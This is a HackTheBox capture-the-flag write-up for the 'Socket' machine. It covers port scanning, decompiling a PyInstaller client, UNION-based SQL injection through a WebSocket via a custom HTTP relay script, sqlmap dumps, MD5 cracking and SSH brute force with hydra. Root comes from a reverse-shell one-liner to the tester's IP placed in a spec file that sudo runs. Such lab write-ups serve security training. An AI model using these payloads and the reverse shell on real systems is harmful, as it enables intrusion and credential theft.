

HackTheBox Writeup - Socket

Recon

Nmap

```
# Nmap 7.93 scan initiated Sat Apr  1 10:31:54 2023 as: nmap -sVC -p- -Pn -T4 -oA socket -vv 10.10.11.206
Nmap scan report for 10.10.11.206
Host is up, received user-set (0.085s latency).
Scanned at 2023-04-01 10:31:55 EDT for 165s
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 63  OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
| ecdsa-sha2-nistp256
AAAAB3NzaC1lZDI1NTE5AAAAIbmlzdHAyNTYAAABBBIZAFurw3qLK40EzrjFar0hWs1RrQ3K/MDVL2opfXQLI+zYXSwqofxs8v2MEZuIGj6540YrzldnPf8CTFSW2r
k=
|   256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp    open  http      syn-ack ttl 63  Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://qreader.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
5789/tcp  open  unknown  syn-ack ttl 63
| fingerprint-strings:
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 01 Apr 2023 14:33:14 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
```

```
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| Help, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Date: Sat, 01 Apr 2023 14:33:30 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
|_ Failed to open a WebSocket connection: did not receive a valid HTTP request.
```

Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done at Sat Apr 1 10:34:40 2023 -- 1 IP address (1 host up) scanned in 165.25 seconds

Add to hosts

```
echo '10.10.11.206 qreader.htb' >> /etc/hosts
```

80 - QReader

Info

QReader^{beta}

What is a Text QR Code?

A Text to QR code allows you to share simple text, like words, sentences, digits, numbers, and special characters. The QR code, and users don't need an internet connection to view it.

With this simple tool, you can extract and embed text in your QR codes with no effort.


Read your QR code:

Choose file

SCAN IMAGE

Embed your text:

EMBED TEXT


 **Wappalyzer** 🔌 ⚙️ 🔄

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Automate technology lookups

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EMBED TEXT

QR code with logo / image

The QR code standard includes a sophisticated error correction technique (Reed–Solomon error correction). Therefore, it is possible to style some parts of QR codes. For example, our generator is able to change the foreground and background color of a code and it is also possible to embed a logo, e.g. in the middle of the QR image. Embedding content matching logos or icons helps the user see what to expect from the QR code before scanning, even though the QR code contents will not be displayed before scanning the code. We have extensive experience with Logo QR codes and you are welcome to contact us for creating your custom logo QR code with colors matching your corporate identity

QR code with design / style

Aprt from QR codes with logo, there are also so called Design QR codes. QR codes with design are even more modified, they provide a more artsy look than just an image-logo placed in the center of a QR code. Our partner VisuaLead offers numerous functions with which you can let your creativity run wild. Create unique, professional QR codes. The increased attractiveness of QR codes with design invites your users to scan the code even more than with a simple logo.

Download our app

Besides from the online tool, we offer you a desktop application that allows you to do these conversions very easily. As if now, it only supports [Windows](#) and [Linux](#) distributions. We hope to do a release for Android devices soon!

Our Work so far

Total conversions: 2289

Total downloads: 1000

Dir

```
└─(root@kali)-[~/socket/DIE-engine/die_script]
└─# gobuster dir -u http://qreader.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e -t 100
```

```
http://qreader.htb/report      (Status: 200) [Size: 4161]
http://qreader.htb/.          (Status: 200) [Size: 6992]
http://qreader.htb/embed      (Status: 405) [Size: 153]
http://qreader.htb/reader      (Status: 405) [Size: 153]
http://qreader.htb/server-status (Status: 403) [Size: 276]
```

Report Page XSS (Failed)

Tried XSS on the report page



What's wrong?

First Name

w

Subject

w

Description

Submit

Report added successfully, someone from our team will be answering this soon!

First Name

Your name..

Analyze Qreader Client

Download the qreader client

```
(root@kali)-[~/socket]
└─# wget http://qreader.htb/download/linux

(root@kali)-[~/socket/]
└─# file linux
linux: Zip archive data, at least v1.0 to extract, compression method=store

(root@kali)-[~/socket]
└─# mkdir qreader_linux

(root@kali)-[~/socket]
└─# mv linux qreader_linux

(root@kali)-[~/socket]
└─# cd qreader_linux

(root@kali)-[~/socket/qreader_linux]
└─# unzip linux
Archive:  linux
  creating: app/
  inflating: app/qreader
  inflating: app/test.png
```

Analyze the file

```
(root@kali)-[~/socket/qreader_linux]
└─# cd app

(root@kali)-[~/socket/qreader_linux/app]
└─# file qreader
qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped
```

Install Detect it easy one liner

```
wget https://github.com/horsicq/DIE-engine/releases/download/3.07/die_3.07_Debian_11_amd64.deb && dpkg -i die_3.07_Debian_11_amd64.deb
```

Linux compiled version doesn't give much info

```
(root@kali)-[~/socket/qreader_linux/app]
└─# diec qreader
ELF64
  Library: GLIBC(2.7)[EXEC AMD64-64]
  Compiler: gcc((GNU) 4.8.5 20150623 (Red Hat 4.8.5-44))[EXEC AMD64-64]
```

Try analyzing windows client

```
(root@kali)-[~/socket]
└─# mkdir qreader_windows && cd qreader_windows/ && wget http://qreader.htb/download/windows

(root@kali)-[~/socket/qreader_windows]
└─# unzip windows
Archive:  windows
  creating: app/
  inflating: app/qreader.exe
  inflating: app/test.png

(root@kali)-[~/socket/qreader_windows]
└─# cd app
```

```
(root@kali)-[~/socket/qreader_windows/app]
└─# diec qreader.exe
PE64
  Packer: PyInstaller(-)[-]
  Compiler: Microsoft Visual C/C++(2022 v.17.3)[-]
  Linker: Microsoft Linker(14.33**)[GUI64]
```

Use [pyinstxtractor-ng](#) or the [online version](#)

```
...
[+] Possible entry point: qreader.pyc
[+] Found 677 files in PYZArchive
[+] Successfully extracted pyinstaller archive: qreader.exe

You can now use a python decompiler on the pyc files within the extracted directory
[+] Extraction completed successfully, downloading zip
```

Decompile the bytecode using online service or `uncompyle6`

```
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.9

import cv2
import sys
import qrcode
import tempfile
import random
import os
from PyQt5.QtWidgets import *
from PyQt5 import uic, QtGui
import asyncio
import websockets
import json
VERSION = '0.0.2'
```



```
ws_host = 'ws://ws.qreader.htb:5789'
icon_path = './icon.png'

def setup_env():
    global tmp_file_name
    pass

# WARNING: Decompile incomplete

class MyGUI(QMainWindow):

    def __init__(self = None):
        super(MyGUI, self).__init__()
        uic.loadUi(tmp_file_name, self)
        self.show()
        self.current_file = ''
        self.actionImport.triggered.connect(self.load_image)
        self.actionSave.triggered.connect(self.save_image)
        self.actionQuit.triggered.connect(self.quit_reader)
        self.actionVersion.triggered.connect(self.version)
        self.actionUpdate.triggered.connect(self.update)
        self.pushButton.clicked.connect(self.read_code)
        self.pushButton_2.clicked.connect(self.generate_code)
        self.initUI()

    def initUI(self):
        self.setWindowIcon(QtGui.QIcon(icon_path))

    def load_image(self):
        options = QFileDialog.Options()
        (filename, _) = QFileDialog.getOpenFileName(self, 'Open File', '', 'All Files (*)')
        if filename != '':
            self.current_file = filename
            pixmap = QtGui.QPixmap(self.current_file)
            pixmap = pixmap.scaled(300, 300)
```

```

        self.label.setScaledContents(True)
        self.label.setPixmap(pixmap)

def save_image(self):
    options = QFileDialog.Options()
    (filename, _) = QFileDialog.getSaveFileName(self, 'Save File', '', 'PNG (*.png)', options, **('options',))
    if filename != '':
        img = self.label.pixmap()
        img.save(filename, 'PNG')

def read_code(self):
    if self.current_file != '':
        img = cv2.imread(self.current_file)
        detector = cv2.QRCodeDetector()
        (data, bbox, straight_qrcode) = detector.detectAndDecode(img)
        self.textEdit.setText(data)
    else:
        self.statusBar().showMessage('[ERROR] No image is imported!')

def generate_code(self):
    qr = qrcode.QRCode(1, qrcode.constants.ERROR_CORRECT_L, 20, 2, **('version', 'error_correction', 'box_size', 'border'))
    qr.add_data(self.textEdit.toPlainText())
    qr.make(True, **('fit',))
    img = qr.make_image('black', 'white', **('fill_color', 'back_color'))
    img.save('current.png')
    pixmap = QtGui.QPixmap('current.png')
    pixmap = pixmap.scaled(300, 300)
    self.label.setScaledContents(True)
    self.label.setPixmap(pixmap)

def quit_reader(self):
    if os.path.exists(tmp_file_name):
        os.remove(tmp_file_name)

```

```

sys.exit()

def version(self):
    response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
        'version': VERSION })))
    data = json.loads(response)
    if 'error' not in data.keys():
        version_info = data['message']
        msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
        self.statusBar().showMessage(msg)
    else:
        error = data['error']
        self.statusBar().showMessage(error)

def update(self):
    response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({
        'version': VERSION })))
    data = json.loads(response)
    if 'error' not in data.keys():
        msg = '[INFO] ' + data['message']
        self.statusBar().showMessage(msg)
    else:
        error = data['error']
        self.statusBar().showMessage(error)

__classcell__ = None

async def ws_connect(url, msg):
    pass
# WARNING: Decompile incomplete

def main():
    (status, e) = setup_env()

```

```

if not status:
    print('[-] Problem occurred while setting up the env!')
app = QApplication([])
window = MyGUI()
app.exec_()

if __name__ == '__main__':
    main()

```

Enumerate Web socket

```
echo '10.10.11.206 ws.qreader.htb' >> /etc/hosts
```

Search for `websocket` `hacktricks`, found tool : `websocat`

```

└─(root@kali)-[~/socket]
└─# wget https://github.com/vi/websocat/releases/download/v1.11.0/websocat.x86_64-unknown-linux-musl
--2023-04-05 02:17:15-- https://github.com/vi/websocat/releases/download/v1.11.0/websocat.x86_64-unknown-linux-musl

└─(root@kali)-[~/socket]
└─# ./websocat.x86_64-unknown-linux-musl 'ws://ws.qreader.htb:5789/version' -v
[INFO websocat::lints] Auto-inserting the line mode
[INFO websocat::stdio_threaded_peer] get_stdio_peer (threaded)
[INFO websocat::ws_client_peer] get_ws_client_peer
[INFO websocat::ws_client_peer] Connected to ws
{"version":1}
[INFO websocat::ws_peer] Received WebSocket close message
{"message": "Invalid version!"}

└─(root@kali)-[~/socket]
└─# ./websocat.x86_64-unknown-linux-musl 'ws://ws.qreader.htb:5789/update' -v
[INFO websocat::lints] Auto-inserting the line mode
[INFO websocat::stdio_threaded_peer] get_stdio_peer (threaded)
[INFO websocat::ws_client_peer] get_ws_client_peer
[INFO websocat::ws_client_peer] Connected to ws
{"version":1}

```

```
[INFO websocat::ws_peer] Received WebSocket close message
{"message": "Version 0.0.2 is available to download!"}

└─(root@kali)-[~/socket]
└─# ./websocat.x86_64-unknown-linux-musl 'ws://ws.qreader.htb:5789/version' -v
[INFO websocat::lints] Auto-inserting the line mode
[INFO websocat::stdio_threaded_peer] get_stdio_peer (threaded)
[INFO websocat::ws_client_peer] get_ws_client_peer
[INFO websocat::ws_client_peer] Connected to ws
{"version": "0.0.2"}
[INFO websocat::ws_peer] Received WebSocket close message
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
```

User Flag

Websocket SQLI

Confirm SQLI

```
└─(root@kali)-[~/socket]
└─# ./websocat.x86_64-unknown-linux-musl ws://ws.qreader.htb:5789/version -v
[INFO websocat::lints] Auto-inserting the line mode
[INFO websocat::stdio_threaded_peer] get_stdio_peer (threaded)
[INFO websocat::ws_client_peer] get_ws_client_peer
[INFO websocat::ws_client_peer] Connected to ws
{"version": "0.0.2\" or 1=1 --"}
[INFO websocat::ws_peer] Received WebSocket close message
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
[INFO websocat::sessionserve] Reverse finished
```

Use a script to transfer websocket to http

```
import contextlib
from http.server import SimpleHTTPRequestHandler
```

```

from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://ws.qreader.htb:5789/version"

def send_ws(payload):
    ws = create_connection(ws_server)
    # If the server returns a response on connect, use below line
    # resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

    # For our case, format the payload in JSON
    # replacing ' with \" to avoid breaking JSON structure
    message = unquote(payload).replace("'", '\\\'')

    data = f'{{"version": "{message}"}}'
    ws.send(data)
    resp = ws.recv()
    ws.close()

    return resp or ''

def middleware_server(host_port, content_type="text/plain"):
    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('&', 1)[1]
            except IndexError:
                payload = False

            content = send_ws(
                payload) if payload else 'No parameters specified!'
            self.send_header("Content-type", content_type)
            self.end_headers()

```

```
        self.wfile.write(content.encode())
        return

class _TCPServer(TCPServer):
    allow_reuse_address = True

httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()

print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

with contextlib.suppress KeyboardInterrupt):
    middleware_server(('127.0.0.1', 8081))
```

Use union to get user password

It will be quite struggling to figure out it's SQLite by doing manually without sqlmap,
Figured out it may be **sqlite** based on the fact that `database()` function doesn't work.

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Target: http://127.0.0.1:8081 HTTP/1

Request

Pretty Raw Hex

```
1 GET /?x=
0.0.2%5c%22%20union%20a11%20select%201%2c%2c3%2csqlite_version()%3b%20--#
HTTP/1.1
2 Host: 127.0.0.1:8081
3 Accept: */*
4 Connection: close
5
6
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.0 200 OK
2 Server: SimpleHTTP/0.6 Python/3.11.2
3 Date: Wed, 05 Apr 2023 09:32:48 GMT
4 Content-type: text/plain
5
6 {"message": {"id": 1, "version": 2, "released_date": 3, "downloads":
"3.37.2"}}|
```

Inspector

Query parameter

Name
x

Value
0.0.2%5c%22%20union%20a11%20select%201%2c%2c3%2csqlite_version()%3b%20--

Decoded from: URL encoding

```
0.0.2\" union all select 1,
2,3,sqlite_version(); --
```

Cancel Apply changes

Done 199 bytes | 245 millis

SQLITE Injection Manually

Doing manually for OSCP

Foothold

send the request through burp proxy

```
(root@kali)-[~/socket]
└─# curl 127.0.0.1:8081/?id=0.0.2 --proxy 127.0.0.1:8080
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
```


then send to repeater

116	http://127.0.0.1:8081	GET	/?id=0.0.2	✓
115	http://127.0.0.1:8081	GET	/?id=0.0.2	✓
114	https://www.youtube.com	GET	/s/pla	http://127.0.0.1:8081/?id=0.0.2
112	https://www.youtube.com	GET	/s/pla	Add to scope
111	https://www.youtube.com	GET	/s/pla	Scan
110	https://www.youtube.com	GET	/s/pla	
109	https://www.youtube.com	GET	/s/pla	Send to Intruder Ctrl+I
108	https://www.youtube.com	GET	/s/pla	Send to Repeater Ctrl+R
107	https://www.youtube.com	GET	/app	Send to Sequencer
106	http://qreader.htb	GET	/favic	Send to Comparer (request)
105	https://www.youtube.com	GET	/s/de	
104	https://www.youtube.com	GET	/sw.j	

Enumerate

Edit the payload from **Decoded From** then apply changes → press **CTRL + SPACE** to send request

Response

PrettyRawHexRender

1 HTTP/1.0 200 OK

2 Server: SimpleHTTP/0.6 Python/3.11.2

3 Date: Sun, 09 Apr 2023 10:53:42 GMT

4 Content-type: text/plain

5

6 {"message": {"id": null, "version": null, "released_date": null, "downloads": null}}

Inspector

< Back

Query parameter

Name

id

Value

0.0.2'%20union%20all%20select%20NULL%2c%20NULL%2c%20NULL%2c%20NULL%3b%20--

Decoded from: URL encoding

0.0.2' union all select NULL, NULL, NULL, NULL; --

Cancel

Apply changes

Enumerate table's column count

Payload:

```
0.0.2' union all select NULL, NULL, NULL, NULL; --
```

Response:

```
{"message": {"id": null, "version": null, "released_date": null, "downloads": null}}
```

Enumerate Basic Information

Tried enumerating `dbms version`, `user`, `database`, doesn't work

Functions:

- `version()`, `user()`, `database()`

Use the DMBS Identification list from [PayloadAllTheThings](#)

Payload:

```
0.0.2' union all select NULL, NULL, NULL, sqlite_version(); --
```

Response:

```
{"message": {"id": null, "version": null, "released_date": null, "downloads": "3.37.2"}}
```

Enumerate tables

Request:

```
0.0.2' union all select NULL, NULL, NULL, (SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'); --
```

Response:

```
{"message": {"id": null, "version": null, "released_date": null, "downloads": "versions,users,info,reports,answers"}}
```

Enumerate columns from table: `users`

Request:

```
0.0.2' union all select NULL, NULL, NULL, (SELECT group_concat(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name='users') --
```

Response:

```
{"message": {"id": null, "version": null, "released_date": null, "downloads": "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)"}}
```

Enumerate data from table: **users**

Request:

```
0.0.2' union all select NULL, NULL, NULL, (SELECT group_concat(username|| ' : ' ||password) from users); --
```

Response:

```
{"message": {"id": null, "version": null, "released_date": null, "downloads": "admin : 0c090c365fa0559b151a43e0fea39710"}}
```

SQLMap

```
(root@kali)-[~/socket]
└─# sqlmap -u "http://127.0.0.1:8081?id=0.0.2" -T users --dump
Database: <current>
Table: users
[1 entry]
+---+-----+-----+-----+-----+
| id | role | password | username |
+---+-----+-----+-----+
| 1 | admin | 0c090c365fa0559b151a43e0fea39710 | admin |
+---+-----+-----+-----+-----+-----+
```

```
(root@kali)-[~/socket]
└─# sqlmap -u "http://127.0.0.1:8081?id=0.0.2" --batch -a
...
Database: <current>
Table: answers
[2 entries]
+---+-----+-----+-----+-----+
+-----+-----+-----+-----+-----+
| id | answer |
+---+-----+-----+-----+-----+
```

```

| status | answered_by | answered_date |
+-----+-----+-----+
-----+-----+-----+
| 1 | Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller | PENDING | admin | 17/08/2022 |
| 2 | Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller | PENDING | admin | 25/09/2022 |
+-----+-----+-----+
-----+-----+-----+
...

```

SSH Access

Generate Username to bruteforce

Put the md5 hash `0c090c365fa0559b151a43e0fea39710` to crackstation, found cleartext password in DB : `denjanjade122566`

Tried login to ssh with user `root` and `admin`, both failed

Use `username-anarchy` to generate usernames based on the site reply user : `Thomas Keller`

```

└─(root@kali)-[~/socket/username-anarchy]
└─# ruby username-anarchy Thomas Keller | tee usernames.txt
thomas
thomaskeller
thomas.keller
thomaske
thomkell
thomask
t.keller
tkeller
kthomas
k.thomas
kellert
keller
keller.t

```

```
keller.thomas  
tk
```

Brute SSH Usernames

```
└─(root@kali)-[~/socket/username-anarchy]  
└─# hydra -L usernames.txt -p denjanjade122566 ssh://qreader.htb  
...  
[DATA] attacking ssh://qreader.htb:22/  
[22][ssh] host: qreader.htb  login: tkeller  password: denjanjade122566
```

Get Flag

```
└─(root@kali)-[~/socket/username-anarchy]  
└─# ssh tkeller@qreader.htb  
tkeller@socket:~$ cat user.txt  
3d83d5ee019b0c8f5f6deefe0fbe3c52
```

Root Flag

There's a script which is able to run as root

```
tkeller@socket:~$ sudo -l  
Matching Defaults entries for tkeller on socket:  
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty  
  
User tkeller may run the following commands on socket:  
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
```

Analyze the script

```
tkeller@socket:~$ ls -la /usr/local/sbin/build-installer.sh  
-rwxr-xr-x 1 root root 1096 Feb 17 11:41 /usr/local/sbin/build-installer.sh
```

```
tkeller@socket:~$ cat /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
    /usr/bin/echo "No enough arguments supplied"
    exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 | /usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
    /usr/bin/echo 'Symlinks are not allowed'
    exit 1;
fi

if [[ $action == 'build' ]]; then
    if [[ $ext == 'spec' ]] ; then
        /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
        /home/svc/.local/bin/pyinstaller $name
        /usr/bin/mv ./dist ./build /opt/shared
    else
        echo "Invalid file format"
        exit 1;
    fi
elif [[ $action == 'make' ]]; then
    if [[ $ext == 'py' ]] ; then
        /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
        /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
        /usr/bin/mv ./dist ./build /opt/shared
    else
        echo "Invalid file format"
        exit 1;
    fi
elif [[ $action == 'cleanup' ]]; then
    /usr/bin/rm -r ./build ./dist 2>/dev/null
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
```

```
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
```

Zoom in:

- `/home/svc/.local/bin/pyinstaller $name`
- `/usr/bin/rm /tmp/qreader* 2>/dev/null`

How the pwn process will be:

- Pass `build` as 1st argument, which will be stored to variable `$action`
- Pass `/tmp/qreader.spec` as 2nd argument, which will be stored to variable `$name`
- By reading pyinstaller's spec file docs and examples, we know that spec file can include python scripts
- Put reverse shell into spec file : `/tmp/qreader.spec`

```
└─(root@kali)-[~/socket/DIE-engine/die_script]
└─# rlwrap nc -lvnp 1111
listening on [any] 1111 ...
```

```
tkeller@socket:~$ cat > /tmp/qreader.spec << EOF
import os; os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.23/1111 0>&1'")
EOF

tkeller@socket:~$ sudo -u root /usr/local/sbin/build-installer.sh build /tmp/qreader.spec
184 INFO: PyInstaller: 5.6.2
184 INFO: Python: 3.10.6
188 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
190 INFO: UPX is not available.
```

PS: Someone could use `while true; do cat /tmp/qreader.spec 2>/dev/null; done` to catch the content


```
connect to [10.10.14.23] from (UNKNOWN) [10.10.11.206] 41250
```

```
root@socket:/tmp# cd ~
```

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cd ~
```

```
root@socket:~# cat root.txt
```

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2bfb1a18486deee59669e6898f863a3a
```